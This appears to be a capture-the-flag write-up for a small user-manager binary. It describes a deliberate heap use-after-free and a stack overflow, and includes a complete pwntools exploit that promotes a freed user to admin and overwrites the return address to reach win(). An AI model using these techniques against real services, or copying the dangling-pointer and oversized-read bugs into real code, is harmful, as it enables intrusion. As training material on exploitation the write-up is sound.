Challenge Overview
This binary presents a simple user manager with two deliberately chained bugs:
- A heap use-after-free in the user record handling.
- A stack-based overflow inside the admin console.
The intended path is to free a user, reuse the dangling pointer to promote that user to admin, then overflow the admin note buffer and return into win().
Vulnerability Discovery
The heap bug is in the delete flow. Deleting a user frees the allocation but leaves the pointer in the user table, so later edit operations still write through a dangling reference.
The stack bug is in admin_menu(). It reads an audit note with a size argument larger than the local buffer, so a long note can overwrite the saved return address.
Exploitation Strategy
- Create a user in slot
0. - Delete that user, but keep the stale pointer in the table.
- Edit the freed record and change the role to
2. - Log in as that user to reach the admin console.
- Send a direct ret2win payload that lands on
win()at offset72.
Complete Exploit Code
#!/usr/bin/env python3
from pathlib import Path
from pwn import *
context.arch = "amd64"
context.log_level = "info"
def start(ip: str, port: int):
return remote(ip, port)
def choice(io, value):
io.sendlineafter(b"> ", str(value).encode())
def create_user(io, slot, username, bio):
choice(io, 1)
io.sendlineafter(b"Slot: ", str(slot).encode())
io.sendlineafter(b"Username: ", username)
io.sendlineafter(b"Bio: ", bio)
def delete_user(io, slot):
choice(io, 2)
io.sendlineafter(b"Slot: ", str(slot).encode())
def edit_user(io, slot, role, username, bio):
choice(io, 3)
io.sendlineafter(b"Slot: ", str(slot).encode())
io.sendlineafter(b"New role: ", str(role).encode())
io.sendlineafter(b"Username: ", username)
io.sendlineafter(b"Bio: ", bio)
def login_user(io, slot):
choice(io, 4)
io.sendlineafter(b"Slot: ", str(slot).encode())
def main():
ip, port = input("Enter IP and port (e.g., localhost:1337): ").strip().split(":")
binary = "./chall"
elf = ELF(str(binary), checksec=False)
io = start(ip, int(port))
create_user(io, 0, b"guest", b"temporary account")
delete_user(io, 0)
edit_user(io, 0, 2, b"root", b"promoted after free")
login_user(io, 0)
payload = fit({72: p64(elf.sym["_Z3winv"])})
io.sendafter(b"audit note: ", payload)
io.send(b"\n")
io.interactive()
if __name__ == "__main__":
main()